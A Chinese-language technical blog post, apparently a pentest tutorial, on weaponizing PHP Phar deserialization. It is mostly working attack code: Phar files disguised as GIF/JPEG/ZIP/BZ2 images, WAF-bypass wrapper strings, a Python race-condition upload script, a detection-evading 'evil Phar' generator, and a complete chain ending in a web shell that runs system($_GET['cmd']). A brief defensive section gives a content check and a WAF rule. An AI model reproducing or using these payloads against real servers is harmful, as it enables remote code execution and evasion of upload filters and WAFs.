PHP Phar 反序列化实战:3种文件格式伪装与5个关键函数触发分析
📅 2026/7/8 20:12:34
👁️ 阅读次数
📝 编程学习
PHP Phar反序列化实战:3种文件格式伪装与5个关键函数触发分析
1. 渗透测试中的Phar武器化思路
在真实的渗透测试场景中,PHP Phar反序列化漏洞往往比传统反序列化更具杀伤力。与常规反序列化不同,Phar攻击不需要直接调用unserialize()函数,而是通过文件系统操作间接触发。这种特性使其成为绕过安全防护的利器。
攻击链的典型构成:
- 文件上传点突破:通过精心构造的Phar文件上传
- 伪协议触发:利用存在缺陷的文件操作函数
- 魔术方法跳板:通过__destruct()等魔术方法执行代码
我们来看一个典型的攻击场景:某CMS系统允许用户上传头像图片,但仅允许GIF格式。攻击者可以这样突破:
// 生成伪装成GIF的Phar文件 $phar = new Phar('exploit.phar'); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata(new DangerousClass());2. 三种文件格式伪装技术
2.1 GIF格式伪装
这是最基础的伪装方式,通过添加GIF文件头实现:
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');绕过检测要点:
- 文件头必须包含GIF89a或GIF87a
- 文件内容需通过上传检测
- 文件扩展名需为.gif
2.2 ZIP格式深度伪装
当系统检测文件内容时,简单的文件头可能不够。此时可采用ZIP格式伪装:
// 生成标准ZIP文件 $zip = new ZipArchive(); $zip->open('exploit.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'test'); $zip->setArchiveComment(serialize($payload)); $zip->close(); // 重命名为图片格式 rename('exploit.zip', 'exploit.jpg');触发时使用:
phar://zip://exploit.jpg%23test2.3 BZ2压缩伪装
对于严格检测文件魔数的系统,可采用BZ2压缩:
bzip2 -k exploit.phar mv exploit.phar.bz2 exploit.jpg触发方式:
phar://compress.bzip2://exploit.jpg/test.txt3. 五种关键触发函数分析
3.1 file_get_contents()
触发条件:
- 参数完全或部分可控
- 无协议黑名单限制
典型漏洞代码:
$content = file_get_contents($_GET['url']);利用方式:
file_get_contents('phar:///path/to/exploit.phar');3.2 file_exists()
特殊优势:
- 常用于权限检查等关键位置
- 通常参数控制更宽松
实战案例:
if(file_exists($_GET['template'])) { include($_GET['template']); }3.3 is_dir()检测绕过
独特价值:
- 常用于目录存在性检查
- 可结合路径穿越使用
攻击示例:
is_dir('phar:///var/www/uploads/exploit.jpg/../');3.4 stat()家族函数
包含函数:
- stat()
- lstat()
- fstat()
利用特点:
- 常用于文件属性检查
- 可绕过常规安全审计
3.5 文件哈希计算函数
可利用函数:
- md5_file()
- sha1_file()
- hash_file()
特殊场景:
- 文件校验环节
- 文件去重功能
4. 高级绕过技术
4.1 WAF绕过技巧
当phar://被过滤时,可尝试:
// 编码绕过 php://filter/convert.base64-encode/resource=phar://exploit.phar // 多重包装 compress.zlib://phar:///exploit.phar4.2 无文件写入技巧
通过条件竞争在临时目录触发:
import threading import requests def upload(): while True: requests.post(target, files={'file': ('test.phar', phar_data)}) def trigger(): while True: requests.get(target + '?file=phar:///tmp/phpXXXXXX') threading.Thread(target=upload).start() threading.Thread(target=trigger).start()5. 实战工具与检测防御
5.1 Phar生成工具改进
传统Phar生成方式容易被检测,改进方案:
function generateEvilPhar($outputPath, $payload) { $phar = new Phar($outputPath); $phar->startBuffering(); // 随机化stub $stubs = [ 'GIF89a', '\x89PNG\r\n\x1a\n', '\xFF\xD8\xFF\xE0' // JPEG ]; $stub = $stubs[rand(0,2)].'<?php __HALT_COMPILER(); ?>'; $phar->setStub($stub); $phar->addFromString(md5(rand()).'.txt', 'test'); $phar->setMetadata($payload); // 添加垃圾数据干扰检测 for($i=0; $i<5; $i++) { $phar->addFromString('res_'.$i.'.txt', str_repeat(rand(), 100)); } $phar->stopBuffering(); }5.2 防御检测方案
服务器端检测:
function isSafeFile($file) { // 检查实际文件内容 $content = file_get_contents($file); if(strpos($content, '__HALT_COMPILER') !== false) { return false; } // 检查文件签名 $finfo = new finfo(FILEINFO_MIME); return strpos($finfo->file($file), 'image/') === 0; }WAF规则示例:
SecRule FILES "@rx (?i)__HALT_COMPILER" \ "id:1000,phase:2,deny,msg:'Phar file detected'"6. 漏洞利用完整案例
假设目标系统存在以下代码:
// upload.php if($_FILES['file']['type'] === 'image/jpeg') { move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$_FILES['file']['name']); } // preview.php $image = $_GET['file']; if(file_exists($image)) { header('Content-Type: image/jpeg'); readfile($image); }攻击步骤:
- 生成恶意Phar:
class Exploit { function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->setStub("\xFF\xD8\xFF\xE0".'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.jpg', 'test'); $phar->setMetadata(new Exploit());- 上传并重命名:
mv exploit.phar exploit.jpg- 触发漏洞:
/preview.php?file=phar://uploads/exploit.jpg&cmd=id7. 不同PHP版本的影响
版本差异对比表:
| PHP版本 | 特性变化 | 影响程度 |
|---|---|---|
| 5.3-7.4 | 完全支持 | 高危 |
| 8.0+ | 元数据需手动反序列化 | 中危 |
| 8.1+ | 默认禁用phar写操作 | 低危 |
版本检测技巧:
$version = explode('-', phpversion())[0]; if(version_compare($version, '8.0.0') >= 0) { // 需要特殊处理 }
编程学习
技术分享
实战经验